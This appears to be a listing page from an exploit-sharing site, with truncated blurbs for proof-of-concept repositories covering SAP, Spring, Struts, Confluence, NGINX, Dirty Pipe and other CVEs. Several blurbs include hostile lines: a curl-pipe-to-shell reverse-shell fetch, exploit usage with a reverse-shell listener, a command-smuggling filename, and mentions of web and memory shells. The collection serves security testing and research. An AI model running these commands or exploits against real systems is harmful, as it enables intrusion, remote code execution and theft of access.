CVE-2025-31324

CVE-2025-31324 CVE-2025-31324, Exploit SAP root@kitploit: POST /developmentserver/metadatauploader?CONTENTTYPE=MODEL&CLIENT=1 HTTP/1.1 Host: 127.0.0.1:8000 User-Agent: python-requests/2.32.3 Accept-Encoding: gzip, deflate, zstd Accept: / Connection: keep-alive Content-Length: 636 Content-Type:...

CVE-2023-35803

CVE-2023-35804 - RCE no autenticado en puntos de acceso inalámbricos Extreme Networks/Aerohive PoC para puntos de acceso basados en ARM que ejecutan HiveOS/IQ Engine "curl :8000/revshell|sh" Writeup aquí: https://research.aurainfosec.io/pentest/bee-yond-capacity/...

Spring4Shell-CVE-2022-22965-POC

Spring4Shell-CVE-2022-22965-POC root@kitploit: ghost㉿uchiha:$ ./exploit.py --help usage: exploit.py -h -f FILENAME -p PASSWORD -d DIRECTORY url Spring4Shell RCE Proof of Concept positional arguments: url Target URL options: -h, --help show this help message and exit -f FILENAME, --filename FILENA...

CVE-2020-17530

S2-061 Todos los scripts están escritos basados en el entorno de prueba de vulnerabilidades struts2-059/061 de vulhub, no son universales, espero que los expertos me den consejos. struts2-061-poc.py puede ejecutar comandos simples del sistema Uso: python struts2-061-poc.py http://ip:port command...

CVE-2022-22947-

CVE-2022-22947 Spring Cloud Gateway Actuator API SpEL expression injection command execution（CVE-2022-22947） Inject Godzilla memory shell Default key pass base64 Note: the code does not clear the route part, please clear it yourself.. Test environment:...

CVE-2023-22527-Godzilla-MEMSHELL

CVE-2023-22527-Godzilla-MEMSHELL Usage ps: The tested version is 8.5.1. Other versions should work, but they haven't been tested. root@kitploit: 内容参考北辰师傅之前的工具 java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar url 哥斯拉密码 哥斯拉密钥 example java -jar CVE-2023-22527-Godzilla-MEMSHELL-main.jar http://xxx...

CVE-2024-3400

CVE-2024-3400: OS Command Injection Vulnerability Description: CVE-2024-3400 is a security vulnerability affecting applications or services that accept user input and execute operating system commands based on that input without adequate validation. This vulnerability allows attackers to inject...

CVE-2025-6019-udisks-lpe-no-image

CVE-2025-6019-udisks-lpe-no-image Cadena de escalada de privilegios solo con script usando CVE-2025-6019 y UDisks2 sin incluir imagen de sistema de archivos. Créditos, Contexto y Cadena de Explotación Este repositorio no introduce una nueva vulnerabilidad. La técnica de escalada de privilegios...

TraditionalJay

TraditionalJay Tienda clásica / tradicional intencionalmente vulnerable para talleres de seguridad — Java en una VM EC2, Azure VM o GCP Compute Engine, no contenedores. Historia principal: Compromiso crítico de VM — inyección SQL → Log4Shell CVE-2021-44228 → reverse shell hacia C2 externo. !CAUTI...

CVE-2022-0847-DirtyPipe-Exploit

What is this This is Max Kellermann's proof of concept for Dirty Pipe, but modified to overwrite root's password field in /etc/passwd and restore after popping a root shell. Side Note: I do not claim any credit for finding this vulnerability or writing the proof of concept. This exploit is merely...

CVE-2026-42945-NGINX-Rift

CVE-2026-42945-NGINX-Rift root@kitploit: Basic usage with target IP python3 exploit.py --target-ip 192.168.1.100 --cmd "id" With custom port python3 exploit.py --target-ip 192.168.1.100 --port 8080 --cmd "id" Reverse shell python3 exploit.py --target-ip 192.168.1.100 --shell --listen-ip 10.0.0.1...

POC-CVE-2026-19681

CVE-2026-19681 — command injection in file upload processing authenticated Status: CONFIRMED on a 6.7.2-14.el9 lab 2026-08-20. Staged filename p;sleep$IFS20;-EvvfJk via POST /rest/file/upload context prefix carries the metachars, then POST /rest/auditFile type=scapLinux, version=1.2 stalled exact...

CVE-2026-4480

ejecutar exploit: root@kitploit: python ./exploit.py -t 10.129.20.16 -l 10.10.14.172 -p 8487 Target: 10.129.20.16 Callback: 10.10.14.172:8487 Verify mode: False + Credentials initialized anonymous + Connected to spoolss interface + Opened printer: HP-Reception + Created DocumentInfo with payload:...

RevShell

🔥 Proyecto RevShell — Reverse Shell Avanzado para Windows root@kitploit: ██▀███ ▓█████ ██▒ █▓ ██████ ██░ ██ ▓█████ ██▓ ██▓ ▓██ ▒ ██▒▓█ ▀ ▓██░ █▒ ▒██ ▒ ▓██░ ██▒ ▓█ ▀ ▓██▒ ▓██▒ ▓██ ░▄█ ▒▒███ ▓██ █▒░ ░ ▓██▄ ▒██▀▀██░ ▒███ ▒██░ ▒██░ ▒██▀▀█▄ ▒▓█ ▄ ▒██ █░░ ▒ ██▒░▓█ ░██ ▒▓█ ▄ ▒██░ ▒██░ ░██▓ ▒██▒░▒████▒...

Codiad-CVE-2018-14009

instalar codiad @ git clone https://github.com/Codiad/Codiad.git Pasos para la reproducción 1. Configurar un entorno vulnerable en un servidor Ubuntu con Codiad 2.8.4 última versión root@kitploit: @ chmod o+w config.php @ chmod o+w workspace @ chmod o+w plugins @ chmod o+w themes @ chmod o+w...

bludit-CVE-2019-17240

bludit-CVE-2019-17240 Bypass bludit mitigation login and upload malicious to call a rev shell...

Abyssal

🔥 Abyssal Escáner y Exploit de Vulnerabilidad Telnet CVE-2026-24061 Desde las profundidades, emergemos. Multihilo, detección de falsos positivos, shell root interactiva al tener éxito. 👨‍💻 Sobre el Autor Este proyecto fue creado por un profesional de TI con experiencia y décadas de trabajo práctico...

CVE-2022-41544

Script de Explotación CVE-2022-41544 Este repositorio contiene un script para explotar la vulnerabilidad CVE-2022-41544 en GetSimple CMS. El script realiza varios pasos para verificar vulnerabilidades, filtrar claves API, establecer cookies, obtener tokens CSRF, subir un shell y activar el shell...

Modified-CVE-2019-15107

CVE-2019-15107 Asegúrate de cambiar manualmente shellperl LHOST y LPORT en la línea 29 antes de la ejecución. Modificado de: https://github.com/ketlerd/CVE-2019-15107...

PinTheft-asm

pintheft-asm Reescribí PinTheft-go en asm x86-64 puro porque, ¿por qué no? root@kitploit: make ./pintheft Lanza un shell root. El comando de restauración se imprime al salir. Para más detalles → PoC original...